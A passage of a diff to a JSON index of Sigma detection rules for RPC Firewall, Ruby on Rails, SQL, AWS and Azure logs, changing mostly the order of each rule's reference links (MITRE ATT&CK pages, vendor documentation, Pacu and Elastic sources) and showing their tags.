"https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/zeronetworks/rpcfirewall", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://attack.mitre.org/techniques/T1053/", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://attack.mitre.org/tactics/TA0008/", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_lateral_movement.yml" ], "tags": [ @@ -418,12 +416,12 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://attack.mitre.org/tactics/TA0007/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_recon.yml", "https://github.com/zeronetworks/rpcfirewall", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_recon.yml" + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://attack.mitre.org/tactics/TA0007/" ], "tags": "No established tags" }, @@ -443,14 +441,14 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://attack.mitre.org/tactics/TA0008/", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pan/e44d984c-07d3-414c-8ffc-f8c8ad8512a8", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RPRN-PAR.md", "https://github.com/zeronetworks/rpcfirewall", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pan/e44d984c-07d3-414c-8ffc-f8c8ad8512a8", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_printing_lateral_movement.yml" + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1", + "https://attack.mitre.org/tactics/TA0008/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_printing_lateral_movement.yml", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RPRN-PAR.md" ], "tags": [ "attack.lateral_movement" @@ -472,13 +470,13 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ + "https://github.com/zeronetworks/rpcfirewall", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_dcom_or_wmi.yml", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://attack.mitre.org/tactics/TA0008/", "https://attack.mitre.org/techniques/T1021/003/", - "https://attack.mitre.org/techniques/T1047/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_dcom_or_wmi.yml" + "https://attack.mitre.org/techniques/T1047/" ], "tags": [ "attack.lateral_movement", @@ -502,12 +500,12 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://attack.mitre.org/techniques/T1112/", - "https://attack.mitre.org/tactics/TA0008/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md", "https://github.com/zeronetworks/rpcfirewall", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78", + "https://attack.mitre.org/techniques/T1112/", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://attack.mitre.org/tactics/TA0008/", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_lateral_movement.yml" ], "tags": [ @@ -530,12 +528,12 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://attack.mitre.org/tactics/TA0007/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md", "https://github.com/zeronetworks/rpcfirewall", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_recon.yml", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_recon.yml" + "https://attack.mitre.org/tactics/TA0007/" ], "tags": "No established tags" }, @@ -555,12 +553,12 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://attack.mitre.org/tactics/TA0008/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md", "https://github.com/zeronetworks/rpcfirewall", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_server_service_abuse.yml", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_server_service_abuse.yml" + "https://attack.mitre.org/tactics/TA0008/", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md" ], "tags": [ "attack.lateral_movement" @@ -582,13 +580,13 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ + "https://github.com/zeronetworks/rpcfirewall", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_service_lateral_movement.yml", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://attack.mitre.org/tactics/TA0008/", "https://attack.mitre.org/techniques/T1569/002/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SCMR.md", - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_service_lateral_movement.yml" + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SCMR.md" ], "tags": [ "attack.lateral_movement", @@ -611,13 +609,13 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://attack.mitre.org/techniques/T1053/", - "https://attack.mitre.org/tactics/TA0008/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/zeronetworks/rpcfirewall", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://attack.mitre.org/techniques/T1053/", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_lateral_movement.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_lateral_movement.yml", + "https://attack.mitre.org/tactics/TA0008/", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md" ], "tags": [ "attack.lateral_movement", @@ -641,12 +639,12 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://attack.mitre.org/tactics/TA0007/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/zeronetworks/rpcfirewall", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_recon.yml", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_recon.yml" + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://attack.mitre.org/tactics/TA0007/" ], "tags": "No established tags" }, @@ -666,10 +664,10 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://attack.mitre.org/techniques/T1087/", + "https://github.com/zeronetworks/rpcfirewall", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wkst/55118c55-2122-4ef9-8664-0c1ff9e168f3", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-WKST.md", - "https://github.com/zeronetworks/rpcfirewall", + "https://attack.mitre.org/techniques/T1087/", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_account.yml" ], @@ -693,12 +691,12 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_sessions.yml", "https://attack.mitre.org/techniques/T1033/", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/02b1f559-fda2-4ba3-94c2-806eb2777183", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md", - "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_sessions.yml" + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/02b1f559-fda2-4ba3-94c2-806eb2777183", + "https://github.com/zeronetworks/rpcfirewall", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md" ], "tags": [ "attack.t1033" @@ -720,11 +718,11 @@ "logsource.category": "application", "logsource.product": "ruby_on_rails", "refs": [ - "http://edgeguides.rubyonrails.org/security.html", "http://guides.rubyonrails.org/action_controller_overview.html", - "https://stackoverflow.com/questions/25892194/does-rails-come-with-a-not-authorized-exception", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/ruby/appframework_ruby_on_rails_exceptions.yml", "https://github.com/rails/rails/blob/cd08e6bcc4cd8948fe01e0be1ea0c7ca60373a25/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/ruby/appframework_ruby_on_rails_exceptions.yml" + "http://edgeguides.rubyonrails.org/security.html", + "https://stackoverflow.com/questions/25892194/does-rails-come-with-a-not-authorized-exception" ], "tags": [ "attack.initial_access", @@ -771,8 +769,8 @@ "logsource.category": "application", "logsource.product": "sql", "refs": [ - "http://www.sqlinjection.net/errors", - "https://github.com/SigmaHQ/sigma/tree/master/rules/application/sql/app_sqlinjection_errors.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/sql/app_sqlinjection_errors.yml", + "http://www.sqlinjection.net/errors" ], "tags": [ "attack.initial_access", @@ -867,8 +865,8 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisableEbsEncryptionByDefault.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_disable_encryption.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_disable_encryption.yml", + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisableEbsEncryptionByDefault.html" ], "tags": [ "attack.impact", @@ -892,8 +890,8 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__download_userdata/main.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_download_userdata.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_download_userdata.yml", + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__download_userdata/main.py" ], "tags": [ "attack.exfiltration", @@ -916,8 +914,8 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__startup_shell_script/main.py#L9", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_startup_script_change.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_startup_script_change.yml", + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__startup_shell_script/main.py#L9" ], "tags": [ "attack.execution", @@ -966,10 +964,10 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ecs__backdoor_task_def/main.py", "https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_RegisterTaskDefinition.html", - "https://attack.mitre.org/techniques/T1525", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ecs_task_definition_backdoor.yml" + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ecs__backdoor_task_def/main.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ecs_task_definition_backdoor.yml", + "https://attack.mitre.org/techniques/T1525" ], "tags": [ "attack.persistence", @@ -1065,8 +1063,8 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://github.com/elastic/detection-rules/blob/598f3d7e0a63221c0703ad9a0ea7e22e7bc5961e/rules/integrations/aws/persistence_elasticache_security_group_creation.toml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_elasticache_security_group_created.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_elasticache_security_group_created.yml", + "https://github.com/elastic/detection-rules/blob/598f3d7e0a63221c0703ad9a0ea7e22e7bc5961e/rules/integrations/aws/persistence_elasticache_security_group_creation.toml" ], "tags": [ "attack.persistence", @@ -1137,8 +1135,8 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/guardduty__whitelist_ip/main.py#L9", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_guardduty_disruption.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_guardduty_disruption.yml", + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/guardduty__whitelist_ip/main.py#L9" ], "tags": [ "attack.defense_evasion", @@ -1211,8 +1209,8 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://docs.aws.amazon.com/cli/latest/reference/macie/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_macic_evasion.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_macic_evasion.yml", + "https://docs.aws.amazon.com/cli/latest/reference/macie/" ], "tags": [ "attack.defense_evasion", @@ -1260,8 +1258,8 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_rds_change_master_password.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_rds_change_master_password.yml", + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py" ], "tags": [ "attack.exfiltration", @@ -1284,8 +1282,8 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_rds_public_db_restore.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_rds_public_db_restore.yml", + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py" ], "tags": [ "attack.exfiltration", @@ -1332,8 +1330,8 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transfer_lock_disabled.toml", "https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html", + "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transfer_lock_disabled.toml", "https://docs.aws.amazon.com/Route53/latest/APIReference/API_domains_DisableDomainTransferLock.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_route_53_domain_transferred_lock_disabled.yml" ], @@ -1359,8 +1357,8 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transferred_to_another_account.toml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_route_53_domain_transferred_to_another_account.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_route_53_domain_transferred_to_another_account.yml", + "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transferred_to_another_account.toml" ], "tags": [ "attack.persistence", @@ -1384,13 +1382,13 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://github.com/elastic/detection-rules/pull/1145/files", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_Operations.html", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketWebsite.html", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketEncryption.html", - "https://docs.aws.amazon.com/AmazonS3/latest/userguide/setting-repl-config-perm-overview.html", "https://docs.aws.amazon.com/AmazonS3/latest/API/API_RestoreObject.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html", + "https://github.com/elastic/detection-rules/pull/1145/files", + "https://docs.aws.amazon.com/AmazonS3/latest/userguide/setting-repl-config-perm-overview.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_Operations.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketEncryption.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketWebsite.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_s3_data_management_tampering.yml" ], "tags": [ @@ -1467,8 +1465,8 @@ "logsource.product": "aws", "refs": [ "https://github.com/elastic/detection-rules/pull/1214", - "https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_sts_assumerole_misuse.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_sts_assumerole_misuse.yml", + "https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html" ], "tags": [ "attack.lateral_movement", @@ -1494,9 +1492,9 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://github.com/elastic/detection-rules/pull/1213", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_sts_getsessiontoken_misuse.yml", "https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_sts_getsessiontoken_misuse.yml" + "https://github.com/elastic/detection-rules/pull/1213" ], "tags": [ "attack.lateral_movement", @@ -1524,9 +1522,9 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html", "https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithSAML.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_susp_saml_activity.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_susp_saml_activity.yml", + "https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html" ], "tags": [ "attack.initial_access", @@ -1554,8 +1552,8 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_update_login_profile.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_update_login_profile.yml", + "https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation" ], "tags": [ "attack.persistence", @@ -1578,8 +1576,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://o365blog.com/post/hybridhealthagent/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aadhybridhealth_adfs_new_server.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aadhybridhealth_adfs_new_server.yml", + "https://o365blog.com/post/hybridhealthagent/" ], "tags": [ "attack.defense_evasion", @@ -1602,8 +1600,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://o365blog.com/post/hybridhealthagent/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aadhybridhealth_adfs_service_delete.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aadhybridhealth_adfs_service_delete.yml", + "https://o365blog.com/post/hybridhealthagent/" ], "tags": [ "attack.defense_evasion", @@ -1627,8 +1625,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_ca_policy_removedby_bad_actor.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_ca_policy_removedby_bad_actor.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access" ], "tags": [ "attack.defense_evasion", @@ -1728,8 +1726,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_account_lockout.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_account_lockout.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts" ], "tags": [ "attack.credential_access", @@ -1870,8 +1868,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#bitlocker-key-retrieval", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_bitlocker_key_retrieval.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_bitlocker_key_retrieval.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#bitlocker-key-retrieval" ], "tags": [ "attack.defense_evasion", @@ -1918,8 +1916,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-registrations-and-joins-outside-policy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_device_registration_policy_changes.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_device_registration_policy_changes.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices#device-registrations-and-joins-outside-policy" ], "tags": [ "attack.defense_evasion", @@ -2084,9 +2082,9 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://attack.mitre.org/techniques/T1098/003/", "https://m365internals.com/2021/07/13/what-ive-learned-from-doing-a-year-of-cloud-forensics-in-azure-ad/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_user_added_to_admin_role.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_ad_user_added_to_admin_role.yml", + "https://attack.mitre.org/techniques/T1098/003/" ], "tags": [ "attack.persistence", @@ -2136,8 +2134,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_gateway_modified_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_gateway_modified_or_deleted.yml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" ], "tags": [ "attack.impact" @@ -2161,8 +2159,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_security_group_modified_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_application_security_group_modified_or_deleted.yml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" ], "tags": [ "attack.impact" @@ -2184,8 +2182,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#appid-uri-added-modified-or-removed", - 